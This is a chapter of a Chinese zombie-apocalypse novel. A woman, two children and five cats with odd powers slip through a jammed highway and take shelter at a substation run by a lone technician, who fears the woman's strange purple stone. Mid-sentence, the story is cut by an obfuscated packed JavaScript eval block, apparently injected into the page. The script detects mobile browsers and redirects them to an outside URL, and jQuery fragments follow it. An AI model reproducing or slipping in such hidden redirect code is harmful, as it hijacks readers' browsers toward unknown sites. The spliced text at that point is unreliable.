天还没亮透，五只猫先醒了。
崽崽在帆布包里踩奶，爪子一收一放，把包底踩得咯吱响，尾巴尖从包口的缝里伸出来一截。汤圆蹲在断墙最高那截砖上，脸朝南，耳朵一动不动，像是整宿都没换过姿势。球球从豆豆怀里爬出来，在孩子下巴上蹭了两下又钻回睡袋里，只把一个屁股露在外头。芝麻绕着行李转了两圈，抬头看程甄，尾巴尖抖得厉害。
动身的时候东边才泛白。
秀云背两个包，小舟背豆豆，程甄怀里揣着乖乖，肩上挂着帆布包。走出两里地，路基尽头的浅沟里积了半沟黑水，芝麻在沟边蹲住，前爪伸出去又收回来，来回三次，最后扭头冲程甄叫了一长声，意思是这水它不过。
小舟把它抄起来塞进背篓，它隔着篓子缝继续冲那条沟呜咽。汤圆早过了对岸，站在草棵子上回了一下头，尾巴一甩，自己先走了。
南边的地势一层比一层低，田里的水退了，露出黑糊糊的烂泥，路边的广告牌歪在泥里，只剩下半块牌子。走了半上午，脚底下从土路换成了沥青，前面那道高速引道堵着，车流从那头一直堵到看不见的地方。
撞在一起的、挤在护栏上的、歪在路肩上的，什么颜色都有，车门有锁着的也有敞着的，碎玻璃铺在沥青上亮闪闪的一片。程甄先停了脚，蹲下去看地上的灰。灰只有薄薄一层，没踩出新的脚印，这条路两个月里没人走过。
最前头那辆白面包车的驾驶座上还坐着人。
安全带勒在它胸口，脸皮贴在侧窗的玻璃上，一只手在窗上挠，指甲都磨秃了，挠出来的道子一圈压着一圈。它看见人的时候嘴张开，喉咙里滚出一串很干的声音。副驾的脚垫上倒着一只奶瓶。程甄把手掌按在豆豆的后脑上，把那张脸转到另一边去。
“怎么过。”秀云的声音压得极低。
“从车缝里侧走，不走车顶。”她指了指两排车中间那条土缝。车顶是铁皮，踩上去一步一声，比说话还招东西。队尾留给秀云，豆豆抱在她怀里。程甄带着小舟先进车缝，鞋底蹭着轮胎和保险杠，一步半尺地往前推。
走到一半，服务区那头的矮墙后面转出来五六只。走得不快，歪歪扭扭，是没听见动静、顺着风游荡的那种。汤圆从前面蹿回来，一只爪子拍在程甄脚背上，拍了两下，压平了耳朵。她反手把后面的人按进两辆车之间的空当里。
崽崽从包口探出半颗脑袋，喉咙里已经滚起了声音，她一把把它的嘴按住。
多出来的一只手从车窗里伸出来，抓住了小舟的脚踝。芝麻是从背篓里炸出来的，整只猫大了一圈，冲着那张脸哈了一口气，毛尖上一闪，蓝白的，像谁在它毛里掐断了一根电线。那只东西浑身抽了一下，僵了半拍。
半拍够用。程甄手里那根摸石的长钩子横过去，勾住它的脖子往车身上一顶，第二下砸在脑壳侧面，那东西瘫在车门上，四脚抽搐。她补了第二下，手心里全是汗。
剩下的几只贴着车头绕过来了，离小舟不到三步。她松了手。
崽崽从包里探出头，对着最近的三只低低喵了一声。那三只齐齐退了两步，僵在原地，喉咙里的嚎咽了回去。另一头还有两只，隔着四五辆车，像压根没听见，继续一脚一脚往这边挪。
喵完那一声，崽崽回头看她，张嘴。
这个动作它以前不做。以前那一声叫出去，它一整天软得像一块布。现在它叫完就找她要东西，明明白白是在跟老板结工钱。程甄掏出一颗石头塞进它嘴里，它衔着，喉咙一动，眼睛又亮了。
“往前，别回头。”小舟走在最前头，后面两个大人贴着车身，谁都没出声，鞋底蹭着橡胶一步一步往里挪。整整四十米车缝，走了将近一刻钟。
过了引道，他们从边坡上翻下去，顺着排水沟往前钻，钻到看不见路的地方才敢坐下来喘气。豆豆没哭，两只手死死揪着小舟的衣领，眼睛睁得溜圆。芝麻趴在背篓边上，一副刚打完一场大仗的疲惫，伸爪在程甄手背上拍了一下，那副意思很清楚，刚才那口气是它哈的。
日头偏西的时候，那道高架桥终于从远处移到了头顶。
桥断了，中间塌下去一大截，断口露着一排钢筋，像被谁从当中劈了一刀。桥墩一根一根立在低地上，最靠边的那根挂着杆子，杆子顶上一盏灯，白亮亮的，有风也吹不动。
围栏在桥墩外面围出半个圆。铁丝是新的，立柱是从电杆上截下来的，接口还留着锯末。大门是两扇铁皮焊的，门框上挂着一块牌子，白底黑字，写的是止步，带电作业。牌子下面用马克笔补了一行小字：敲门之前先喊人，别推门。
围栏里头是间长方形的板房，是那种工地上用的活动房，窗户上挂着白窗帘，窗帘缝里漏出一条光。房后的空地上立着一排黑蓝色的板子，朝着西边的太阳斜着身子。
程甄把五只猫都收进怀里和包里，走到离门三步的地方，冲着窗帘喊了一声。
“几个人。”门里头是个女人的声音，不高，很稳。
“两个大人，两个孩子，五只猫。”
停了两息。“猫留下，站里老鼠成精了，昨天把我继电器的线啃了。”门开了一条缝，一张脸从缝里露出来，五十来岁，头发用皮筋扎着，脸上晒得发红，手里拿着一支笔，笔帽还叼在嘴上。
“我们这儿不养闲人。”她把笔帽取下来，笔尖在门框上点了两下，“会干什么。”
“会认字，会算账，报表能填。”
门里的女人把她上下看了一遍，看的时间不短，看的是她的鞋、她的手、怀里的包，还有包口伸出来的那截猫尾巴。然后她把门拉开了一半。
“会填报表的进来。”
板房里比外面暖和，墙上贴着一张纸，抬头是安全生产，底下用小字写了一排条款，边角卷了。房里的桌子是两张拼起来的，桌上一台半旧的电台，屏幕黑着，旁边压着一摞表格。靠墙有一只铁皮柜，柜子上放着两块电池，正接着一线灯。
女人把一支笔推过来。“外来人员登记表。姓名，年龄，原单位，会操作的设备，一格都不能空。”
程甄拿起笔。
表是打印的，格子不歪，行距匀，一看就是一沓一沓印出来的。她一笔一笔填下去，字写得端端正正，写到能操作的设备那一格，想了想，写了两个字：做表。
“手挺稳。”女人看了一眼她的字，“比我这个小陶写得好。”
小陶从里间出来，二十来岁，穿着不合身的工装，胳膊上缠着纱布，看见五只猫愣在原地。球球先动手，从程甄怀里跳下去，绕着小陶的裤腿转了一圈，用脑袋撞了一下他的鞋尖。小陶蹲下去，手在球球背上放了半天不敢动。
“叫什么。”女人问。
“陈小满。”
“我叫宋亚芬，这儿是南城变三号站，值班员。”她把笔帽拧上，“灯是我开的。这一片的电都断了，就我这儿还有一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959798|214323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
格，白天晒太阳，夜里点灯。灯亮着，南边的人才知道这地方还有活人。”
流程走完天已经黑了。宋亚芬给了两床棉被，一包压缩饼干，饭是她亲手盛的，一人一碗，稀得能照见灯。五只猫分到半碗糊糊，排成一排吃，崽崽吃到后半程把整张脸埋进碗里，芝麻守着碗边一边吃一边回头看每个人的手。汤圆没急着吃，先绕着板房转了一圈，最后在门口趴下，脸朝着外头。
程甄把行李在墙角归置好，坐下的时候，手肘碰到了桌上那本值班记录。
她翻了两页，是这两个月的记录，交班时间、天气、电压、负载，一笔一笔都是手写，字迹有两种，一种清瘦，一种圆钝。翻到前天那一页，最后几行记的不是电。
二十三点四十，收广播，呼号灯塔，重复三遍，内容为三只亮货，尚缺一只，南边有人收，价翻倍。二十三点五十，再次收到，内容同前。
程甄的手指停在“亮货”两个字上，停了几息，把这一页轻轻翻了过去。
睡之前她把紫黑色的那颗石头从洞里取出来，本想拿灯底下再看看。石头刚从铁盒里露出来，板房角落里那只伏着的老猫先动了。站里的老猫是只黄白花的土猫，趴在一只纸箱上，一直没抬过头，这时候整只猫弹起来，背弓成一个圆，冲着那颗石头嘶了一声，扭头钻进铁皮柜底下，再不肯出来。
宋亚芬端着茶缸过来，往桌上瞟了一眼，脸上的血色退了一层。
“这东西你从哪儿来的。”
“北边的河里，跟别的料混在一起。”
“不是那种。”她把茶缸放在桌上，退后半步，“我从死人脑壳里抠出来的我认得，灰的，白的，指甲盖大。你这颗不是。”
“那是哪儿来的。”
宋亚芬看着那颗石头，看了挺久才开口。她说三个月前站里还没围栏，有一回夜里跳闸，她拿着手电去后面看柜子，院子里站着一个东西。那些歪着走的都得贴着墙，那个是直着站着的，肩膀宽得像个人，脑壳后面鼓出一块，就在路灯底下冲她转过头来。
她当场把门锁死，在里间蹲到天亮。第二天再出去，院子里只有一排一步跨两个的脚印，从西墙走到门口，一共十七步，别的什么也没留下。
“那些会走的死人身上，抠出来的是灰的。那种东西身上的，抠出来是什么色，没人知道，我也没敢再去看。”她把自己的茶缸端起来，又放下，“你要是从那种东西身上捡的，就把它扔了。”
程甄看着那颗紫黑的石头，没伸手去拿。乖乖这时候从她怀里探出头，远远冲那张桌子闻了一下，喉咙里滚出一声低低的、不快活的响，接着把脸重新埋回她的胳膊弯里。
她合上铁盒，把它塞回洞里最里侧，隔着两层布。
外头的收音机响了。
那是一阵嘶嘶的噪音，响了半分钟才从里头挤出一句话，断断续续，是个男人的声音，普通话，尾音都磨平了。宋亚芬把音量拧大了一格，板房里安静下来，五只猫的耳朵一只一只立了起来。
“南城变三号站，南城变三号站，这里是灯塔。塔还在。塔上还有人。还活着的，往塔上来。”
那声音念完一遍，歇了一会儿，又从头开始念。
程甄坐在桌子边上没动。桌上的灯投出一小片光，把她的两只手照得很清楚，左手背上那道浅浅的灰痕还在，细得像一根线。窗外那盏投光灯立在桥墩顶上，白亮亮的，一寸也不晃。